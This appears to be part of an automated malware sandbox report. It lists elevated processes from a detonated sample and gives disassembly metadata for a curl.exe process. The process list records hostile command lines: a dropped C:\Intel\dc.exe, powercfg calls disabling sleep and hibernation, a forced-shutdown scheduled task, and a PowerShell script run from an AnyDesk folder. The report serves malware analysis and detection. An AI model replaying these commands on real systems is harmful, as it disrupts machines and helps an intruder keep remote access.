Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Imagebase:	0x7ff644650000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	01:54:16
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Imagebase:	0x7ff644650000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	01:54:16
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
Imagebase:	0x7ff644650000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	01:54:16
Start date:	11/01/2025
Path:	C:\Intel\dc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\dc.exe" /SYS 1
Imagebase:	0x400000
File size:	831'888 bytes
MD5 hash:	139464919440E93E49C80CC890B90585
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	01:54:18
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Imagebase:	0x7ff644650000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	01:54:20
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
Imagebase:	0xe0000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	01:54:20
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg -change -standby-timeout-ac 0
Imagebase:	0xe0000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	01:54:20
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg -change -hibernate-timeout-ac 0
Imagebase:	0xe0000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	01:54:20
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg -h off
Imagebase:	0xe0000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	01:54:20
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Imagebase:	0xe0000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	01:54:20
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\powercfg.exe
Wow64 process (32bit):	true
Commandline:	powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
Imagebase:	0xe0000
File size:	78'336 bytes
MD5 hash:	9D71DBDD3AD017EC69554ACF9CAADD05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	01:54:20
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
Imagebase:	0x860000
File size:	187'904 bytes
MD5 hash:	478BEAEC1C3A9417272BC8964ADD1CEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	01:54:20
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1
Imagebase:	0xc00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	01:54:21
Start date:	11/01/2025
Path:	C:\Windows\System32\shutdown.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\shutdown.EXE /s /f /t 0
Imagebase:	0x7ff7d4500000
File size:	28'160 bytes
MD5 hash:	F2A4E18DA72BB2C5B21076A5DE382A20
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	01:54:21
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	01:54:23
Start date:	11/01/2025
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
Imagebase:	0x7ff6e5540000
File size:	3'379'080 bytes
MD5 hash:	40AAE14A5C86EA857FA6E5FED689C48E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 02200CE2 Relevance: 2.8, Strings: 1, Instructions: 1584COMMON

Download Yara Rule

Strings

131, xrefs: 0220168A

Memory Dump Source

Source File: 00000000.00000003.20236777918.0000000002200000.00000004.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2200000_Yv24LkKBY6.jbxd

Similarity

API ID:
String ID: 131
API String ID: 0-23763599
Opcode ID: a3dd21933895f40c9cac9e053dfcc2cc45cfa44c168e575c08093881d2340219
Instruction ID: 98bec702eb823322df3e30a86d2abe90eb709f54d41ed18ca2b35327dfd68b8b
Opcode Fuzzy Hash: a3dd21933895f40c9cac9e053dfcc2cc45cfa44c168e575c08093881d2340219
Instruction Fuzzy Hash: 0BA2FE928AE3D25FC3135BB05C695A17FB99E1722930E01EBD4D2DF0A3D18D099AD732

Function 02201679 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.20236777918.0000000002200000.00000004.00001000.00020000.00000000.sdmp, Offset: 02200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_2200000_Yv24LkKBY6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 525a5cb4b8b8404ad13e4b3e6f6e4abd4f7846433c6eb762c95a5247ff3e4dfd
Instruction ID: 0060ef3173f77af72b6f1d8a9d60576cc1ceafea12b6f34d5bc8018e134a24f1
Opcode Fuzzy Hash: 525a5cb4b8b8404ad13e4b3e6f6e4abd4f7846433c6eb762c95a5247ff3e4dfd
Instruction Fuzzy Hash: 75A12DA146E3D28FC7178BB08CA16913FB1AE1725435E04DBC0C4CF0B7E29D995ADB22

Analysis Process: curl.exePID: 4108, Parent PID: 6028COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	80

Executed Functions

Function 002C9A93 Relevance: 18.5, APIs: 12, Instructions: 548
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc9eb723e71ba44864c7c9c7d8e6e5c6a517e99b8afc6ddf3760d31a02b41d71
Instruction ID: ad7dd3988762447a3bbf53826b98bfa5012267cd8411d4d344783dfed33329d2
Opcode Fuzzy Hash: fc9eb723e71ba44864c7c9c7d8e6e5c6a517e99b8afc6ddf3760d31a02b41d71
Instruction Fuzzy Hash: 3F326D75B221298BCB24CF58DC84BE9B7B5FB46314F0842DEE40AE7A44D6709E91CF52

Function 001DF690 Relevance: 18.3, APIs: 12, Instructions: 290
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00002726,00000000), ref: 001DF6E9
Sleep.KERNEL32(?,00000000), ref: 001DF708
GetTickCount64.KERNEL32 ref: 001DF72D
select.WS2_32(?,?,?,?,?), ref: 001DF8E2
WSAGetLastError.WS2_32(?,000003E8,00000000), ref: 001DF8F1
GetTickCount64.KERNEL32 ref: 001DF924
__WSAFDIsSet.WS2_32(00000000,?), ref: 001DF9AB
__WSAFDIsSet.WS2_32(00000000,?), ref: 001DF9C3
__WSAFDIsSet.WS2_32(00000000,?), ref: 001DF9D7
__WSAFDIsSet.WS2_32(00000000,?), ref: 001DF9E9
__WSAFDIsSet.WS2_32(?,00000000), ref: 001DFA03
__WSAFDIsSet.WS2_32(?,?), ref: 001DFA15

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64ErrorLastTick$Sleepselect
String ID:
API String ID: 3934714958-0
Opcode ID: 48ca7d261ad6f2db8f2a5865749150ae03a13eeca86c9be1da10ae1e6ef59a44
Instruction ID: e19c0e24a2f3737f509bfde852cf1fe45e817c2901a3fd26e21791528a88d708
Opcode Fuzzy Hash: 48ca7d261ad6f2db8f2a5865749150ae03a13eeca86c9be1da10ae1e6ef59a44
Instruction Fuzzy Hash: 6EA16F72A043419BDB28DF28D8946AEB6E9EF84354F514A3FF45EC6290D730DA428B42

Function 001E1CE0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 79
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000001), ref: 001E1D3F
VerSetConditionMask.KERNEL32(00000000,00000000,00000008,00000001), ref: 001E1D4D
VerifyVersionInfoA.KERNEL32(?,00000002,00000000), ref: 001E1D64
VerifyVersionInfoA.KERNEL32(?,00000008,00000000,?), ref: 001E1D76
LoadLibraryA.KERNELBASE(secur32.dll), ref: 001E1D88
GetProcAddress.KERNELBASE(00000000,InitSecurityInterfaceA), ref: 001E1DA4

Strings

security.dll, xrefs: 001E1D7C
InitSecurityInterfaceA, xrefs: 001E1D9E
secur32.dll, xrefs: 001E1D83

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ConditionInfoMaskVerifyVersion$AddressLibraryLoadProc
String ID: InitSecurityInterfaceA$secur32.dll$security.dll
API String ID: 4152440676-3788156360
Opcode ID: 6e583bc66f8caa567765aa8e950ff16773ae25e7c66c4459c588a34c9acf4d51
Instruction ID: bd12317a5a04a43aa19a959d668f32ec480c8c1e1073c406f1692f5ba654e0a7
Opcode Fuzzy Hash: 6e583bc66f8caa567765aa8e950ff16773ae25e7c66c4459c588a34c9acf4d51
Instruction Fuzzy Hash: 02210770744745BBE720DB619C0AF6B7BDCFB84744F004826F945E61C0DBB0D8058B92

Function 001DD9C0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 001DDA18

Strings

Connection time-out, xrefs: 001DDE17
Failed to connect to %s port %ld: %s, xrefs: 001DDDF0
Connection failed, xrefs: 001DDBD0
After %ldms connect time, move on!, xrefs: 001DDB41
connect to %s port %ld failed: %s, xrefs: 001DDC69

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: After %ldms connect time, move on!$Connection failed$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 1927824332-885759404
Opcode ID: f9967665f1113c0a5002a5f8d765f749762b94db6d81a6d8f48fe608bdb66da2
Instruction ID: aceb721078094b8e059c4ccda4ebd75dee5c9d0b0acc6d7e915fab045eb6d263
Opcode Fuzzy Hash: f9967665f1113c0a5002a5f8d765f749762b94db6d81a6d8f48fe608bdb66da2
Instruction Fuzzy Hash: A7C1E3716047419FC708DF28E885AAEB7E5BF95308F04462EF85A8B381DB70ED15CB92

Function 001DFA40 Relevance: 13.8, APIs: 9, Instructions: 283
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 001DFAA9
WSASetLastError.WS2_32(00002726,00000000,00000000), ref: 001DFC11
select.WS2_32(?,?,?,?,?), ref: 001DFCA5
WSAGetLastError.WS2_32(?,000003E8,00000000), ref: 001DFCB4
GetTickCount64.KERNEL32 ref: 001DFCF5
__WSAFDIsSet.WS2_32(?,?), ref: 001DFD99
__WSAFDIsSet.WS2_32(?,?), ref: 001DFDB2
__WSAFDIsSet.WS2_32(?,?), ref: 001DFDC7

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64ErrorLastTick$select
String ID:
API String ID: 2692648663-0
Opcode ID: 11666d99bf59c7a4003f8cc4c0d8fa4d3e1ebecab7604e870aa2acf6d987d0bd
Instruction ID: 4316c04a78b5499fef2a2a4a9f28c6f98bffe2cf14f1e1c6b6d2d6f2c9df8afd
Opcode Fuzzy Hash: 11666d99bf59c7a4003f8cc4c0d8fa4d3e1ebecab7604e870aa2acf6d987d0bd
Instruction Fuzzy Hash: 07A194715087058BD7299F28D89476EB6E9EF88710F554A3FE88AC7390D730DE42CB42

Function 001D3D70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,00000000), ref: 001D3D8D
WSAGetLastError.WS2_32 ref: 001D3DA4

Strings

Recv failure: %s, xrefs: 001D3DCB
3', xrefs: 001D3DAC

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLastrecv
String ID: 3'$Recv failure: %s
API String ID: 2514157807-3205223812
Opcode ID: 050e0376034552fcf89acc7546c72b1cd3934997eb11e8c52f81621045da0c11
Instruction ID: 7b856d2363fdc3cb48fb764d6023c5a0fdd340e40220826170b3aab930b6b465
Opcode Fuzzy Hash: 050e0376034552fcf89acc7546c72b1cd3934997eb11e8c52f81621045da0c11
Instruction Fuzzy Hash: 7D01AD72301204AFCB105FA9EC48A9ABBE4FB88726F104176FA5897391C7329D209F41

Function 002D65B9 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON

Download Yara Rule

APIs

IsValidCodePage.KERNEL32(00000000,?,?,00000055,?,?,002C7125,?,?,?,?,00000004,?,00000000), ref: 002D6697
GetLocaleInfoW.KERNEL32(00000000,?,?,000000F0,%q,,00000000,?), ref: 002D67D5

Strings

%q,, xrefs: 002D66AE, 002D66E6, 002D6795

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CodeInfoLocalePageValid
String ID: %q,
API String ID: 790303815-3309009229
Opcode ID: d7504d1ec12c98e2fdf1f6ebfd485f0ca552c759e69991ea4e2e3dd69d76e482
Instruction ID: 58d4757495893f71dbf261f37bcffa6485963507cea1933489322ff12d8d773d
Opcode Fuzzy Hash: d7504d1ec12c98e2fdf1f6ebfd485f0ca552c759e69991ea4e2e3dd69d76e482
Instruction Fuzzy Hash: 2961D871620707AAEB24AF74DC4AFB6739CEF04754F14042BF945DB381EA74ED608AA0

Function 001C930A Relevance: 35.3, APIs: 1, Strings: 19, Instructions: 344
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32 ref: 001C9382

Strings

